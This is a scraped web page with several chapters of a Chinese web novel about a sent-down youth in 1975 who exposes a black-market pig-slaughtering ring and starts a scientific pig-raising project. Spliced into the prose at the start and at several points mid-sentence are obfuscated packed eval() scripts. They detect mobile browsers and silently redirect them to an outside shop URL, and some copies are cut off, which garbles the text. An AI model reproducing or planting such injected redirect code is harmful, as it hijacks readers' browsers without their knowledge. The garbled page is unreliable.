;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854268|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个岔路口停下。那里已经等了一个人,看身形是个中年男人。 两人低声交谈,王富贵卸下麻袋,那人递给他一叠东西——借着月光,能看出是钱。 交易完成,王富贵骑车往回走,那人扛着麻袋往县城方向去。 “怎么办?”张建军问,“追哪个?” “追买主。”陈铁柱果断决定,“王富贵跑不了,买主更重要。” 三人悄悄跟上那个中年男人。他显然对这条路很熟,走得很快。又走了两里地,来到一片废弃的砖窑。 砖窑里居然有灯光。三人趴在窑口的破墙后往里看,看见了惊人的一幕—— 窑里有四五个人,正在宰猪!地上已经有两头处理好的白条猪,还有一头正在放血。空气里弥漫着血腥味。 “这是……私宰点?”林晚照压低声音。 “不止。”陈铁柱脸色凝重,“你看那边。” 窑洞角落里,堆着十几个麻袋,看形状都是粮食。还有几捆布匹,几桶油。 这是一个黑市交易点。 “得报警。”张建军说。 “现在去报警,回来人早跑了。”陈铁柱说,“得有人留下盯着,有人去报信。” “我去报信。”林晚照主动说,“我跑得快。” 陈铁柱看了她一眼,最终还是点头:“行,你去公社派出所。我和建军留下盯着。” 林晚照转身就往回跑。夜里山路难走,她深一脚浅一脚,几次差点摔倒。但她咬着牙坚持,脑子里只有一个念头:不能让这些人跑了。 跑了五里地,终于到了公社。派出所已经熄灯,她拼命敲门。 值班的民警披着衣服开门,看见是个小姑娘,愣住了:“什么事?” “红星公社第五生产队,废弃砖窑,有人在搞黑市交易,私宰生猪!”林晚照气喘吁吁地说。 民警脸色一变:“你说清楚!” 林晚照快速说明了情况。民警立刻叫醒了其他同事,三辆自行车,载着四个民警,往砖窑赶。 回到砖窑时,陈铁柱和张建军还在盯着。交易已经完成,买主正准备离开。 “就是他们!”林晚照指着窑里的人。 民警冲了进去。场面一度混乱,但很快被控制住。五个人全被铐住,包括王富贵——他居然又回来了,可能是想再谈笔生意。 搜查的结果令人震惊:除了三头私宰的猪,还有五百多斤粮食,三十多尺布匹,以及各种紧俏物资。按当时的法律,这已经够判刑了。 王富贵面如死灰,被押走时看了林晚照一眼,那眼神里有怨恨,也有绝望。 回到村里时,天已经蒙蒙亮。陈铁柱让林晚照先回知青点休息,他去处理后续。 林晚照躺在床上,却睡不着。这一夜的经历太刺激,也太沉重。王富贵固然可恶,但他背后的原因呢?如果集体经济能让人吃饱穿暖,还会有人冒险搞黑市吗? 她想起陈启明笔记里的话:“改变未来,从改变现在开始。” 也许,她可以做点什么。 不是搞黑市,而是用合法的方式,改善大家的生活。 想着想着,她睡着了。 醒来时已是中午。陈铁柱来找她,带来了两个消息:一是王富贵供出了同伙,包括王会计——他也参与了销赃;二是公社决定表彰他们三人,每人奖励二十块钱和三十斤粮票。 二十块钱,在1975年是一笔不小的数目。 “还有,”陈铁柱说,“队里要选新的会计和饲养员。赵会计推荐了你,说你识字,懂算账,人品正。” 林晚照愣住了:“我?可我是知青……” “知青怎么了?有能力就行。”陈铁柱说,“当然,得大家选。我觉得你行。” 当天下午,生产队开会。赵会计宣布了王富贵和王会计的事,大家都震惊了。随后进行选举,林晚照以高票当选记工员——这是个轻省活,每天就是记记工分,月底结算,但很重要。 散会后,三婶拉着林晚照的手:“晚照,好好干!咱们信你!” 林晚照心里涌起一股暖流。这是信任,也是责任。 晚上,她坐在煤油灯下,翻开新领的工分簿。簿子很厚,要用一年。她拿起笔,在第一页郑重写下: “1975年11月25日,红星公社第五生产队工分记录。” 从今天起,她不只是个知青了。 她是这个集体的一份子。 她要在这里扎根,生长。 然后,开出属于自己的花。 窗外,月光如水。 林晚照抚摸着腕上的银镯,感受着那温润的触感。 第一桶金,不是那二十块钱奖励。 是信任。 是人脉。 是扎根这片土地的机会。 而这些,将是她未来四十九年里,最宝贵的财富。 19. 记工员的第一天 鸡叫第三遍时,林晚照已经坐在了队部的长条桌前。晨光透过糊着报纸的木格窗,在泥地上投下斑驳的光影。桌上摊开着崭新的工分簿,墨水瓶是新领的,钢笔尖在油灯下闪着暗金色的光。今天是1975年11月26日,她正式担任记工员的第一天。 门外传来脚步声,第一个来的是三婶。她挎着个竹篮,里面装着刚挖的红薯:“晚照,这么早就来了?吃早饭没?给,自家种的。” “谢谢三婶,我吃过了。”林晚照笑着推辞,但三婶硬是塞了两个红薯到她手里,“拿着,当零嘴。对了,今儿我领锄头,要修南坡那条水渠。” 林晚照翻开工具领取登记本——这也是她的新职责之一。她认真记下:陈秀英(三婶),锄头一把,南坡水渠修缮。领用人签字处,三婶按了个红手印。 “晚照,你这字写得真好看。”三婶凑过来看,“跟刻出来似的。” “多练练就好了。”林晚照嘴上谦虚,心里却清楚,这是前世十几年应试教育打下的底子。在这个文盲率还很高的年代,一手工整的字本身就是资本。 陆陆续续有社员来领工具、报工。林晚照有条不紊地记录着,谁去哪个地块,干什么活,预计需要什么工具。遇到不认字的,她就帮忙写,然后让对方按手印。 快到八点时,王富贵的妻子李桂花来了。她眼睛红肿,显然是哭过。站在桌前犹豫了半天,才低声说:“林……林同志,我来领粪瓢。” 林晚照抬头看她。李桂花四十出头,头发已经花白,手指粗糙开裂,是个典型的农村劳动妇女。王富贵的事,她大概率是不知情的——至少不完全知情。 “南坡菜地施肥是吗?”林晚照语气平和,“领一把粪瓢,一把铁锹,对吧?” “对,对。”李桂花连忙点头,偷偷看了林晚照一眼,似乎没想到她态度这么自然。 林晚照登记完,把工具递给她:“李婶,天冷了,施肥时戴个手套,别冻着手。” 李桂花愣住了,眼圈又红了:“哎,哎,谢谢林同志。”她拿起工具,匆匆走了。 旁边的赵会计一直在算账,这时抬起头:“晚照,你做得对。王富贵是王富贵,他老婆是老实人,不该受牵连。” “我知道。”林晚照说,“一人做事一人当。” 但心里却在想:真的能“一人做事一人当”吗?在这个集体至上的年代,一人犯错,全家抬不起头是常事。她改变不了大环境,但可以在自己权限范围内,尽量公正些。 上午十点,工具发放完毕。林晚照合上登记本,准备去地里转转——记工员不能光坐在队部,得实地查看劳动情况,防止有人虚报工分。 她先去的是南坡菜地。三婶领着五六个妇女正在施肥,粪水的气味在冷空气中格外刺鼻。林晚照站在田埂上看了会儿,确认每个人都实实在在地干活,这才在工分簿上做了标记。 “晚照,来检查工作啊?”三婶直起腰,开着玩笑。 “职责所在。”林晚照也笑,“三婶您这组干得快,照这速度,下午能完。” “那是,咱们不偷懒。”三婶很自豪,“对了,你猜我早上看见啥了?” “啥?” 三婶压低声音:“陈大牛,就是新选上的饲养员,一大早去了县城。” 陈大牛是昨天选举时推举出来的新饲养员,四十多岁,看着老实巴交。林晚照皱眉:“他去县城干啥?” “说是买猪药,但我看他自行车后座绑着个麻袋,鼓鼓囊囊的。”三婶眨眨眼,“你说,会不会……” “别瞎猜。”林晚照嘴上这么说,心里却记下了。王富贵刚出事,新上任的饲养员就往县城跑,确实可疑。 离开菜地,她往养猪场方向走。养猪场在村西头,一排土坯房,养着二十多头猪。还没走近,就听见猪叫和人声。 陈大牛已经回来了,正和几个帮工拌饲料。看见林晚照,他连忙放下手里的活:“林同志,您怎么来了?” “来看看。”林晚照环顾四周,“猪长得怎么样?” “还行,就是有几头拉稀。”陈大牛指着靠里的一圈,“我早上去县里买了点药,正打算喂。” 林晚照走近猪圈。弹幕系统悄然启动: 【猪群健康状况:总体良好,三头幼猪有轻微腹泻】 【饲料成分:玉米粉35%,米糠40%,野菜15%,其他10%】 【建议:添加少量大蒜素可预防肠道疾病】 她不动声色地说:“陈叔,我老家有个土方子,大蒜捣碎了拌饲料里,能治拉稀。要不试试?” 陈大牛眼睛一亮:“这法子好,省钱!我这就去弄。” “不急。”林晚照走到饲料堆旁,抓起一把闻了闻,“这米糠……是不是有点潮?” 陈大牛脸色微变:“不……不会吧?我早上刚领的。” “您看。”林晚照摊开手掌,米糠确实有些结块,“潮的米糠容易霉变,猪吃了不好。以后领饲料时仔细点,发现有问题及时反映。” “哎,哎,记住了。”陈大牛擦擦额头,也不知是热的还是紧张的。 林晚照没再多说,又转了转就离开了。但她注意到一个细节:养猪场角落堆着几个新麻袋,其中一个没扎紧,露出里面黄澄澄的东西——是玉米,而且品质很好。 王富贵克扣饲料时,是把好饲料换成差的。陈大牛如果真有问题,会怎么做? 中午回到队部,林晚照一边啃红薯一边琢磨。赵会计出去了,队部里只有她一个人。阳光从窗户斜射进来,照在墙上的奖状和毛主席像上。 她翻开工分簿,开始核算上午的工分。这活儿繁琐,但重要。一个工分八分三厘,看似不多,但累积起来就是一个家庭的油盐钱,孩子的学费,老人的药费。 算到一半时,王晓芬急匆匆跑进来:“晚照,不好了!秀英又晕倒了!” 林晚照扔下笔就往外跑。知青点里,李秀英躺在床上,脸色比上次还要苍白。刘翠翠正用湿毛巾给她擦脸,急得快哭了。 “怎么回事?” “上午去挑水,回来就说头晕,然后就这样了。”王晓芬带着哭腔,“晚照,怎么办啊?” 林晚照伸手探了探李秀英的额头,不烫,但脉搏很弱。她想了想,从怀里掏出个小布包——里面是她从周大夫那儿学来配的草药,补气血的。 “翠翠,去烧点热水。晓芬,把我柜子里那包红糖拿来。” 她掰开李秀英的嘴,塞了片人参须——这是空间里的存货,切得细细的,看不出年份。又冲了碗红糖水,一点点喂下去。 过了大概一刻钟,李秀英悠悠转醒,看见围在床边的三人,眼泪就下来了:“我……我又拖累大家了……” “别这么说。”林晚照握住她的手,“秀英,你得说实话,是不是又把工分钱寄回家了?” 李秀英咬着嘴唇,点点头。 “寄了多少?” “这个月……八块。” 林晚照倒吸一口凉气。李秀英一个月满工分也就十七八块,寄走八块,自己只剩十块不到。要吃饭,要买日用品,怎么可能够? “你这样不行。”林晚照严肃地说,“身体垮了,以后怎么挣钱养家?你弟弟妹妹是重要,但你也得活着啊。” “可是……” “没有可是。”林晚照打断她,“从今天起,你的工分钱,我帮你管。每个月给你留十二块生活费,剩下的寄回家。十二块够你吃饭穿衣了。” 李秀英的眼泪扑簌簌往下掉:“晚照,我……我该怎么谢你……” “好好活着就是谢我。”林晚照帮她掖好被角,“今天下午别上工了,我记你病假,工分照记一半。明天开始,我跟队长说说,给你安排点轻省活。” 安抚好李秀英,林晚照回到队部时已是下午两点。她心里沉甸甸的。李秀英的情况不是个例,很多知青,尤其是家里条件差的,都在咬牙硬撑。 有什么办法能帮他们改善生活?光靠省是不行的,得开源。 她想起上午在养猪场看到的玉米。如果能把猪养得更好,出肉率更高,队里收入增加,大家的分红也能多些。但这需要技术,需要投入。 正想着,陈铁柱进来了。他手里拿着个文件袋,脸色不太好看。 “队长,有事?” 陈铁柱把文件袋往桌上一放:“县里下的通知,要搞‘农业学大寨’冬季竞赛。每个生产队要报一个增产项目,评上先进的有奖励。” 林晚照翻开文件。竞赛要求很具体:要么粮食增产,要么副业增收,要有创新性,可推广性。奖励很诱人:一等奖五百元,还有化肥、农药等物资奖励。 五百元!在这个年代简直是巨款。 “您有想法了?”林晚照问。 陈铁柱点了支烟——他很少抽烟,除非遇到难题:“想法有,但难办。我想搞科学养猪,提高出肉率。但需要投入,需要技术,还需要……” 他没说完,但林晚照懂了。需要钱买良种猪,需要饲料配方,需要防疫知识。这些队里都缺。 “如果我能解决技术问题呢?”林晚照突然说。 陈铁柱看向她:“你?” “我在家时,看过一些农业技术的书。”林晚照半真半假地说,“关于养猪的饲料配方、疾病预防,都记得一些。可以试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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事情有了眉目。从周大夫家出来时,天已经擦黑。陈铁柱送林晚照回知青点,路上突然说:“晚照,你变了。” “变好了还是变坏了?” “变……扎根了。”陈铁柱斟酌着用词,“刚来时,你总有种疏离感,像随时会飞走的鸟。现在,你真把自己当这里的人了。” 林晚照沉默片刻:“因为这里的人对我好。三婶,周大夫,赵会计,还有你……你们让我觉得,这里可以是家。” 陈铁柱的脚步顿了顿,没说话。月光下,他的侧脸轮廓分明。 到了知青点门口,林晚照正要进去,陈铁柱叫住她:“对了,陈大牛今天去县城,是买药,但还买了别的东西。” “什么?” “五十斤玉米,精饲料。”陈铁柱说,“他自己掏的钱。我问他为啥,他说看猪太瘦了,想加点营养。” 这个答案出乎意料。林晚照愣了愣:“您信吗?” “我查了,确实是好玉米,价格也不便宜。”陈铁柱说,“要么他是个傻子,要么……他真想把猪养好。” “那养猪场那些好玉米……” “是他自己掏腰包买的。”陈铁柱说,“我下午去问了粮站,证实了。” 林晚照心里涌起复杂的情绪。她以小人之心度君子之腹了。 “我明天去跟他道歉。” “不用。”陈铁柱说,“你做得对,谨慎点好。但以后,可以多给人一点信任。” 他走了,身影融入夜色。 林晚照站在门口,许久没动。 这个年代,有王富贵那样克扣集体肥私的人,也有陈大牛这样自掏腰包为公的人。有李秀英那样为了家人苦自己的人,也有三婶那样热心肠的人。 人性复杂,但总有光亮。 她抬头看天,星星已经出来了。明天,她要开始为科学养猪项目忙碌。要写计划书,要算成本,要说服队委会。 但今晚,她先要做好一件事。 回到屋里,她点亮煤油灯,翻开工分簿。李秀英的病假工分,她斟酌了一下,决定记六分——虽然按规定病假只记一半,但特殊情况可以适当照顾。 她在备注栏工整地写道:“因病休养,但前日加班两小时未计工分,补记一分。” 这样既符合规定,又体现了人情。 合上工分簿时,夜已经深了。 林晚照吹灭油灯,躺在床上。手腕上的银镯在黑暗中微微发烫,像是在认可她今天的决定。 扎根,不只是在这里生活。 是成为这里的一部分。 是为这里的人着想。 是为这片土地,尽一份力。 窗外的风吹过,带起远处养猪场隐约的猪叫声。 新的项目,新的挑战,新的希望。 明天,又是新的一天。 而她要做的第一件事,是去找陈大牛,不是道歉,是合作。 毕竟,要改变这里,需要所有人的力量。 这道理,放在哪个年代都一样。 20. 养猪场的风波 腊月初一,清晨的霜冻给村庄披上了一层薄薄的银装。林晚照裹紧棉袄,踩着嘎吱作响的冻土走向队部。今天是科学养猪项目正式启动的日子,昨晚队委会已经通过决议,批了三十块钱的启动资金——剩下的二十块,陈铁柱说服了几个队干部私人凑了凑。 推开队部的门,热气扑面而来。煤炉子烧得正旺,陈铁柱、赵会计、还有三个队委委员已经围坐在桌前。陈大牛也来了,坐在最靠门的位置,双手规规矩矩放在膝盖上,像个第一次进办公室的小学生。 “林同志来了,坐。”赵会计推了推眼镜,“咱们抓紧时间,把章程定下来。” 林晚照在陈铁柱旁边坐下,从怀里掏出连夜赶写的计划书。纸张是从空间里拿的笔记本上撕下来的,字迹工整清晰: “红星公社第五生产队科学养猪试点项目实施方案”。 她清了清嗓子,开始讲解:“项目分三个阶段。第一阶段,改善猪舍环境,建饲料发酵池。第二阶段,优化饲料配方,建立防疫制度。第三阶段,选育良种,提高出肉率。” “时间呢?”一个姓刘的委员问。 “第一阶段十天,第二阶段一个月,第三阶段持续进行。”林晚照翻到下一页,“预计三个月后初见成效,出肉率提高百分之十五到二十。” “百分之二十?”另一个委员惊呼,“那咱们二十头猪,能多出四头猪的肉!” “理论上是这样。”林晚照谨慎地说,“但要看实际执行情况。” 陈铁柱敲了敲桌子:“钱怎么用,得说清楚。” “这是预算表。”林晚照又拿出一张纸,“买水泥建发酵池,十五块;买石灰消毒,三块;购买草药防疫包,五块;剩余七块作为应急备用金。” 赵会计仔细看了预算,点点头:“账目清楚,安排合理。我同意。” 其他几个委员交换了眼神,最终都点了头。 “那好。”陈铁柱站起身,“从今天起,养猪场由陈大牛负责日常管理,林晚照负责技术指导。每天早上碰头,每周向队委会汇报进展。” 散会后,陈大牛磨蹭着没走。等人都出去了,他才走到林晚照面前,黝黑的脸上有些局促:“林同志,我……我识字不多,有些事可能做不好……” “陈叔,您养了十几年猪,经验比我丰富。”林晚照诚恳地说,“我是纸上谈兵,您是实战经验。咱们互相学习。” 这话让陈大牛放松了些:“那……那咱们现在去养猪场?” “走。” 养猪场在晨光中显得破败但整洁。猪舍是土坯墙,瓦顶,地面铺着青石板。二十多头猪分栏饲养,大猪在里间,小猪在外间。空气里有猪粪味,但不算刺鼻——陈大牛确实勤快,每天都清理。 林晚照里里外外看了一圈,心里有了数。她指着最南边的空地:“发酵池建在那里,向阳,温度合适。” “水泥下午能送到。”陈大牛说,“我找了两个帮工,工分怎么算?” 这是实际问题。林晚照想了想:“建池子是短期活,按天计工,一天八分。您看行吗?” “行。”陈大牛松了口气,“我还怕队里不给算工分呢。” 两人正说着,外面传来吵嚷声。出去一看,是李桂花领着几个妇女,提着桶拿着瓢,气势汹汹地走过来。 “陈大牛!凭什么把清理猪粪的活给别人了?”李桂花声音尖利,“我干这活三年了,说换就换?” 林晚照想起来了,清理猪粪虽然脏,但工分高——一天十分,因为确实辛苦。以前是李桂花和另一个妇女轮流干,现在陈大牛换了人,等于断了她的一个收入来源。 陈大牛脸色涨红:“桂花嫂子,这是队里的安排……” “什么队里安排,就是你陈大牛想用自己人!”一个瘦高个妇女帮腔,“大家评评理,王富贵犯事,他老婆就得饿死吗?” 围过来看热闹的人越来越多。林晚照知道,这事处理不好,会影响整个项目。 她上前一步:“桂花婶,您先别急。清理猪粪的活确实换了人,但养猪场要扩大规模,需要增加人手。我正想找您呢。” 李桂花愣住了:“找我干啥?” “饲料发酵需要有人专门负责。”林晚照说,“这活不脏,但得细心,每天要翻料、测温、记录。一天也是十分工分,您愿意干吗?” 李桂花张了张嘴,没说出话。旁边的妇女推她:“桂花,快答应啊!这活比掏粪强多了!” “我……我能干好吗?”李桂花犹豫,“我不识字……” “不用识字,我教您。”林晚照说,“就用记号,画圈画叉就行。” 事情就这样解决了。李桂花千恩万谢地走了,围观的人也散了。陈大牛擦擦额头的汗:“林同志,还是你有办法。” “将心比心罢了。”林晚照说,“陈叔,以后这种人事变动,提前跟人商量。大家都不容易。” “哎,记住了。” 接下来的三天,养猪场发生了肉眼可见的变化。发酵池建起来了,是个半地下的水泥池子,上面盖着草帘保温。猪舍用石灰水彻底消毒,墙角撒了生石灰防潮。林晚照还设计了个简易的通风装置——用竹筒做的通风管,成本几乎为零。 第四天,饲料配方开始调整。林晚照把从周大夫那儿学来的草药知识用上了:鱼腥草消炎,大蒜杀菌,艾叶驱虫。她还偷偷往饲料里掺了微量灵泉水——不是直接浇,是稀释后拌进去,剂量控制得很小心。 效果立竿见影。原本有几头拉稀的小猪,两天后粪便就正常了。大猪的毛色明显变亮,食欲也好起来。 “神了!”陈大牛兴奋地说,“林同志,你这方子真管用!” 林晚照没敢居功:“是草药的作用,也是您照顾得好。” 第七天,县畜牧站的老李来了。他是周大夫的老朋友,戴着副厚眼镜,拎着个旧皮包。在养猪场转了一圈后,他推了推眼镜,语气惊讶: “你们这个发酵饲料的法子,跟我在省里培训时学的差不多。谁想的?” “是林同志。”陈大牛连忙说。 老李看向林晚照:“小姑娘,你从哪儿学的?” “家里有本农业技术的旧书,上面写的。”林晚照早就准备好了说辞。 “书还在吗?能借我看看不?” “破四旧时烧了。”林晚照垂下眼,“我就记住了些。” 这话说得恰到好处。老李惋惜地叹口气,没再追问。他仔细查看了发酵池,又看了饲料配方记录,最后对陈铁柱说: “陈队长,你们这个项目有搞头。要是真能提高出肉率,我帮你们报县里的先进。” 这是巨大的肯定。送走老李后,陈铁柱难得地露出笑容:“晚照,这事成了。” 但林晚照不敢放松。她知道,项目才刚开始,真正的考验还在后面。 果然,第十天下午,出事了。 陈大牛急匆匆跑到队部找林晚照时,她正在核算十一月份的工分汇总。月底了,要赶在发钱前把账做清楚。 “林同志,不好了!有三头猪不吃食了!” 林晚照扔下笔就往养猪场跑。猪舍里,三头半大的猪蜷在角落,精神萎靡,鼻头发干。她伸手摸了摸,体温偏高。 “什么时候开始的?” “今天早上还吃呢,中午喂食时就不对劲了。”陈大牛急得团团转,“我检查了饲料,没问题啊。” 林晚照仔细查看猪的症状。弹幕系统启动: 【症状:食欲减退,精神萎靡,体温升高】 【可能病因:饲料霉变/病毒感染/应激反应】 【建议:隔离病猪,彻底消毒猪舍,检查饲料储存环境】 “先把这三头猪隔离。”林晚照果断下令,“陈叔,您去请周大夫来看看。我去查饲料。” 饲料储存在隔壁的土坯房里。林晚照一进去就闻到了不对劲——有种淡淡的霉味。她打开装玉米的麻袋,伸手一摸,心里一沉。 玉米是潮的。 “这批玉米什么时候进的?”她问负责饲料的帮工。 “前天,从粮站拉的。”帮工是个年轻后生,叫二狗,“我拉回来就倒进袋子里了。” “当时检查了吗?” “检……检查了。”二狗眼神闪烁。 林晚照盯着他:“说实话。” 二狗低下头:“我……我就摸了摸上面一层,觉得还行就……” “下面的呢?” “没看。” 林晚照深吸一口气。这事怪她,没把检查制度落实到位。她让二狗把玉米全部倒出来,果然,底下的已经发霉结块。 “这些霉变的玉米,猪吃了会中毒。”林晚照脸色严肃,“二狗,你差点酿成大祸。” 二狗吓傻了:“林同志,我……我不是故意的……” “现在不是追究责任的时候。”林晚照指挥,“把这些霉玉米全部挑出来,单独存放。好的玉米晒一晒,不能再潮了。” 处理完饲料,周大夫也来了。他检查了病猪,又看了霉玉米,下了诊断:“轻度霉菌中毒,还好发现得早。我给开点解毒的草药,但得停食一天,只给清水。” “能治好吗?”陈大牛问。 “能,但得掉膘。”周大夫说,“至少损失十几斤肉。” 十几斤肉,按市价就是二十多块钱。对于这个刚起步的项目,是个不小的打击。 晚上,队委会紧急开会。林晚照把事情原原本本汇报了,没推卸责任:“是我的疏忽,没制定严格的饲料检查流程。损失我负责。” “你怎么负责?”刘委员皱眉,“二十多块钱呢。” “从我的工分里扣。”林晚照说,“扣到还清为止。” 陈铁柱敲了敲桌子:“现在不是追究责任的时候。问题是,为什么会发生这种事?粮站的玉米怎么会发霉?” 赵会计推了推眼镜:“我问了,这批玉米是粮站的陈粮,存放不当受潮了。他们急着处理,就低价卖给了咱们。” “这不是坑人吗!”另一个委员拍桌子。 “便宜没好货。”陈铁柱很冷静,“晚照,以后饲料采购,你得亲自把关。” “明白。” 散会后,林晚照一个人留在队部。煤油灯的光晕在墙上跳动,映出她疲惫的影子。二十多块钱的损失,要扣她三个月的工分。这意味着接下来的日子,她会过得很紧巴。 但比起钱,更让她难过的是信任的辜负。陈大牛、李桂花、还有那些帮工,都对这个项目寄予厚望。现在出了事,大家会怎么想? 门被推开了。陈铁柱去而复返,手里端着个搪瓷缸:“给你,红糖水。” 林晚照接过来,水温透过缸壁传到掌心: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她想起周大夫说的草药。如果能采到品质好的药材,卖给县里药铺,也许能赚点钱。但这需要时间,需要精力,还需要不被发现。 想着想着,她睡着了。 第二天清晨,林晚照照常去养猪场。陈大牛已经在了,正在给病猪喂药。看见她来,他欲言又止。 “陈叔,有话就说。” “林同志,昨天的事……二狗那孩子不是故意的。”陈大牛搓着手,“他家穷,爹瘫在床上,娘眼睛不好。他干活拼命,就是想多挣点工分……” “我明白。”林晚照说,“我没怪他。但规矩就是规矩,以后饲料检验的活,您亲自负责,行吗?” “行,行!”陈大牛连忙答应。 病猪的情况稳定了,但确实瘦了一圈。林晚照算了下损失,大概十五斤肉。她把数据记在本子上,准备月底一起汇报。 上午十点,她正在教李桂花记录发酵温度,外面来了个人。是县畜牧站的老李,还带了个陌生人。 “林同志,这位是省农科院的张教授。”老李介绍,“他来县里调研,听说了你们项目,非要来看看。” 张教授五十多岁,穿着中山装,戴着眼镜,学者气十足。他仔细看了养猪场的每一个环节,问的问题很专业:发酵温度控制在多少度?饲料配比依据是什么?草药防疫的原理? 林晚照一一回答,有些数据是她根据弹幕系统优化的,但她解释成“根据书本知识结合实际调整”。 张教授听完,沉默了很久。就在林晚照以为哪里说错了时,他突然开口: “小林同志,你这个项目,有没有兴趣扩大到实验规模?” 林晚照愣住了:“实验规模?” “对。”张教授眼睛发亮,“省农科院正在研究科学养殖技术,但缺基层试点。如果你愿意,我们可以合作。我们提供技术支持,你们提供场地和劳动力。成果共享。” 这是个天大的机会。但林晚照很清醒:“张教授,这事我得跟队里商量。” “应该的,应该的。”张教授掏出一张介绍信,“这是我的联系方式。你们商量好了,给我发电报。” 送走张教授,林晚照捏着那张介绍信,手心冒汗。她知道,这是个转折点。 如果合作成功,养猪场就不再是生产队的小打小闹,而是有省级单位背书的实验基地。资金、技术、政策,都会倾斜。 但风险也大。一旦成为实验基地,要求更高,压力更大。而且,她这个“技术负责人”,能担得起吗? 下午,她把事情跟陈铁柱说了。陈铁柱抽了半支烟,才说:“晚照,这事你自己决定。你牵头,队里支持。你不想干,也没人逼你。” 林晚照看着窗外。养猪场里,陈大牛正在喂猪,李桂花在翻饲料,二狗在清理猪舍。这些人把希望寄托在这个项目上。 她想起陈启明笔记里的话:“改变未来,从改变现在开始。” 也许,这就是改变的开始。 “我干。”她听见自己说。 陈铁柱笑了:“我就知道你会这么说。” 当晚,林晚照在煤油灯下写合作方案。写到一半时,她感觉手腕上的银镯微微发烫。 她放下笔,抚摸着镯子。龙凤纹路在灯光下泛着温润的光。 这是陈启明留下的信物,是连接过去与未来的钥匙。 而现在,她要用这把钥匙,打开一扇新的门。 窗外的风停了,夜很静。 明天,她要开始写一份改变很多人命运的计划书。 而这,只是开始。 21. 合作方案与暗流 腊月十五,天还没亮透,林晚照已经坐在队部的煤油灯下。桌面上摊着从张教授那儿拿来的实验基地申请表格,旁边是她熬了两个通宵写出的合作方案。钢笔尖在粗糙的纸张上沙沙作响,每写一个字都要斟酌再三——这是要上报省里的文件,一个字都不能错。 窗户纸透进的晨光渐渐亮起来时,她写完了最后一页。二十七页的方案,从项目背景到实施细节,从资金预算到预期成果,甚至包括了风险分析和应急预案。这些在前世写项目书练出的技能,在这个年代简直降维打击。 门“吱呀”一声开了,陈铁柱端着两个烤红薯进来:“就知道你在这儿。先吃点东西。” 红薯烤得外皮焦脆,掰开来冒着腾腾热气。林晚照接过来,这才感觉胃里空得发慌。她边吃边把方案推过去:“队长,您看看。” 陈铁柱擦了擦手,翻看方案。他看得仔细,眉头时而紧皱时而舒展。看到资金预算部分时,他倒吸一口凉气:“五千块?这么多?” “这是建标准实验猪舍的费用。”林晚照解释,“省农科院的要求高,猪舍得是砖瓦结构,要有通风系统、排污系统,还得建个小型的饲料加工车间。” “队里拿不出这么多钱。” “所以需要省里拨款。”林晚照翻到后面,“张教授说,如果项目通过评审,可以申请农业科技专项基金。咱们队出地出人力,省里出钱出技术。” 陈铁柱沉默地翻完所有页面,最后抬起头,眼神复杂地看着林晚照:“晚照,你实话告诉我,这些……真是从书上看来的?” 这个问题迟早会来。林晚照平静地迎上他的目光:“队长,您相信人有前世今生吗?” 陈铁柱的瞳孔微微一缩。 “我在上海时,做过一个很长的梦。”林晚照缓缓说道,半真半假,“梦见自己在几十年后的世界,那里有高楼大厦,有汽车飞机,也有各种先进的农业技术。醒来后,很多知识就留在脑子里了。” 这话说得玄,但陈铁柱自己就是穿越者,反而更容易接受。他沉默片刻,最终点点头:“这事到此为止,别跟第三个人说。” “我明白。” “方案写得很好。”陈铁柱合上文件,“但能不能通过,不只看方案。下午开队委会,你得说服所有人。” 下午两点,队部里挤满了人。除了七个队委委员,还有各小组的组长,加起来二十多号人。屋子里烟气缭绕——男人们都在抽烟,女人们用手扇着风。 林晚照站在黑板前,把方案的主要内容用粉笔写出来。字迹工整清晰,条理分明。 “各位叔伯婶子,今天要说的事,关系到咱们队未来几年的发展。”她开场很朴实,“省农科院想跟咱们合作,建科学养猪实验基地。如果成了,咱们就是全省第一个试点。” 底下响起嗡嗡的议论声。 “有啥好处?”有人直接问。 “第一,省里拨款建新猪舍,咱们不花钱。”林晚照竖起手指,“第二,省里派技术员指导,猪养好了,出肉率至少提高三成。第三,实验成功的话,咱们的养猪技术可以推广到全县、全省,到时候咱们就是技术输出单位,能收培训费。” “培训费”三个字让不少人眼睛亮了。 “那要咱们出啥?”三组的组长老孙头问。 “出地,出人力,还要配合实验。”林晚照实话实说,“实验有风险,可能成功,也可能失败。失败了,损失咱们担一部分。” “那不成!”刘委员第一个反对,“咱们小门小户的,经不起折腾。现在这样挺好,稳当。” “稳当是饿不死,但也富不了。”陈铁柱开口了,“去年咱们队一个工分八分三厘,全县倒数第五。隔壁红星三队搞了养鸡场,工分涨到九分二。为啥?人家敢闯敢干。” 这话戳到了痛处。屋里安静下来。 赵会计推了推眼镜:“我算过账。如果真能把出肉率提高三成,按现在二十头猪算,一年多出六头猪的肉。一头猪一百五十斤,六头就是九百斤。按市价七毛一斤算,就是六百三十块钱。全队二百多口人,每人能多分三块。” 三块钱,听起来不多。但1975年的三块钱,能买二十斤盐,或者六十盒火柴,或者给小孩做一身新衣服。 “那要是失败了呢?”有人问。 “最坏的情况,猪病死一批。”林晚照不回避,“但省农科院承诺,实验期间会给猪买保险,真出了问题,赔偿七成损失。” 这是她跟张教授争取来的条件。电话打了三次,每次都要跑到公社邮电所,一等就是半天。但值得。 “保险”这个词对农民来说很新鲜,但“赔偿七成”听懂了。风险降低了不少。 讨论持续了两个小时。林晚照回答了所有问题,有些问题很尖锐,比如“你一个城里来的女娃娃懂什么养猪”“省里的大教授为啥看得上咱们这小地方”。 